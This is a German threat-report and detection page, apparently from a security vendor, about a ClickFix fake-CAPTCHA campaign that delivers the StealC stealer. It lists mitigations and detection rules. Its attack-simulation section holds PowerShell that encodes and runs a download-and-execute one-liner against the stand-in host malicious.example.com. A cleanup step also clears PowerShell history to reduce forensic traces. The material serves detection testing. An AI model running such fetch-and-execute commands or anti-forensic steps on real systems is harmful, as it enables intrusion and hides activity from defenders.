Wie ClickFix die Tür für den Stealthy StealC Information Stealer öffnet
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Ein mehrstufiger, dateiloser Angriff startet auf einer kompromittierten vietnamesischen Restaurant-Website mit einem gefälschten CAPTCHA. Opfer werden dazu gebracht, PowerShell auszuführen, das positionsunabhängiges Shellcode abruft, welches einen 64-Bit-Downloader reflektiv lädt und den StealC-Informationsdieb in svchost.exe injiziert. StealC sammelt Browser-Anmeldedaten, Informationen zu Kryptowährungs-Wallets, Anmeldedaten von Steam und Outlook, Host-Details und Screenshots und exfiltriert diese dann über RC4-verschlüsselten HTTP-Verkehr.
Untersuchung
Forscher analysierten den JavaScript- und PowerShell-Loader, bestätigten die Nutzung des Donut-Shellcode-Frameworks und folgten den HTTP-Anfragen des Downloaders zu von Angreifern kontrollierten URLs. Der Stealer scheint eine baustellenbasierte Malware-as-a-Service mit modularen Diebstahlsfunktionen plus einer Selbstlöschroutine zu sein. Zu den Jagdnotizen gehören ein User-Agent-Wert von „Loader“ und spezifische Registrierungsschlüssel, die mit dem Staging und der Ausführung verbunden sind.
Minderung
Empfohlene Abwehrmaßnahmen umfassen die Begrenzung oder Deaktivierung des Einfügens aus der Zwischenablage in Browsern, die Verschärfung der PowerShell-Ausführungsrichtlinien und das Warnen vor ungewöhnlichen User-Agent-Strings. Fügen Sie die Erkennung für reflektives PE-Laden und Prozessinjektionen hinzu und erzwingen Sie die Inspektion ausgehender HTTP-Daten für die Lieferung Base64-kodierter Nutzlasten. Die Aufklärung der Nutzer über gefälschte CAPTCHA-Köder sollte als Kontrollmaßnahme und nicht als nachträglicher Gedanke behandelt werden.
Antwort
Wenn entdeckt, isolieren Sie den Endpunkt, stoppen Sie die injizierte svchost.exe-Instanz, erfassen Sie Speicherabbilder zur Überprüfung des Shellcodes und blockieren Sie die bösartigen Domains/URLs. Setzen Sie exponierte Anmeldedaten zurück, überprüfen Sie Registrierungs- und Browser-Artefakte auf Auswirkungen und überwachen Sie restlichen C2-Verkehr.
Angriffsablauf
Erkennungen
Mögliche PING-Nutzung für verzögerte Ausführung (über Befehlszeile)
Ansicht
Verdächtiger Dateidownload Direkt-IP (über Proxy)
Ansicht
LOLBAS wmic (über Befehlszeile)
Ansicht
Download oder Upload via PowerShell (über Befehlszeile)
Ansicht
IOCs (SourceIP) zum Erkennen: Wie ClickFix die Tür für den heimlichen StealC Informationsdieb öffnet
Ansicht
IOCs (HashSha256) zum Erkennen: Wie ClickFix die Tür für den heimlichen StealC Informationsdieb öffnet
Ansicht
IOCs (DestinationIP) zum Erkennen: Wie ClickFix die Tür für den heimlichen StealC Informationsdieb öffnet
Ansicht
Erkennen von StealC Informationsdieb-Netzwerkaktivität [Windows Netzwerkanbindung]
Ansicht
Erkennen von Prozessinjektion über StealC in svchost.exe [Windows Prozess-Erstellung]
Ansicht
PowerShell EncodedCommand und iex(irm) erkannt [Windows PowerShell]
Ansicht
Simulation der Ausführung
Voraussetzung: Die Telemetrie- & Basislinien-Überprüfung muss erfolgreich bestanden sein.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Angreifertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und das Narrativ MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die exakte Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffsgeschehen & Befehle:
Ein Angreifer erhält eine Phishing-E-Mail mit einem kurzen URL-Link. Ziel ist es, eine Remote-PowerShell-Hintertür zu installieren, ohne den Benutzer zu alarmieren. Der Angreifer erstellt eine Base64-codierte PowerShell-Nutzlast, die ein bösartiges Skript von einem C2-Server herunterlädt und es sofort ausführt mit
iex(irm…). Durch die Verwendung des-EncodedCommandSchalters verbirgt der Angreifer die eigentlichen Befehle vor einer beiläufigen Überprüfung, und dasiex(irm…)Muster entspricht der Erkennungsregel direkt.-
Erstellen Sie das bösartige Skript (
payload.ps1) gehostet aufhttp://malicious.example.com/payload.ps1. -
Codieren Sie den Startbefehl:
$launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))" $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher) $encoded = [Convert]::ToBase64String($bytes) Write-Output $encoded # Dieser Wert wird im nächsten Schritt verwendet -
Führen Sie den codierten Befehl auf dem Ziel aus:
powershell.exe -EncodedCommand <Base64StringFromStep2>
Dies erzeugt ein Sysmon ProcessCreate-Ereignis, bei dem
CommandLineenthält-EncodedCommandand der entschlüsselte Text enthältiex(irm…), was der Sigma-Regel entspricht. -
-
Regressions-Testskript:
#----------------------------------------------------------- # Simulationsskript – Löst PowerShell EncodedCommand + iex(irm) aus #----------------------------------------------------------- # 1. Definieren Sie die URL des bösartigen Skripts (ersetzen Sie sie mit Ihrem Testserver) $maliciousUrl = "http://malicious.example.com/payload.ps1" # 2. Erstellen Sie den Einzeiler, der das Skript herunterlädt und ausführt $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))" # 3. Codieren Sie den Befehl in Base64 (Unicode) $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd) $b64 = [Convert]::ToBase64String($bytes) # 4. Starten Sie PowerShell mit dem codierten Befehl Write-Host "Führe codierten Befehl aus..." Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList "-EncodedCommand $b64" ` -NoNewWindow -Wait Write-Host "Simulation abgeschlossen." -
Bereinigung-Befehle:
# Entfernen Sie alle temporären Dateien, die durch die simulierte Nutzlast erstellt wurden (falls vorhanden) # Beispiel: löschen Sie das heruntergeladene Skript, wenn es lokal gespeichert wurde $tempPath = "$env:TEMPpayload.ps1" if (Test-Path $tempPath) { Remove-Item $tempPath -Force Write-Host "Temporäre Nutzlast entfernt." } # Optional: Löschen Sie die PowerShell-Historie, um forensische Spuren zu reduzieren Clear-History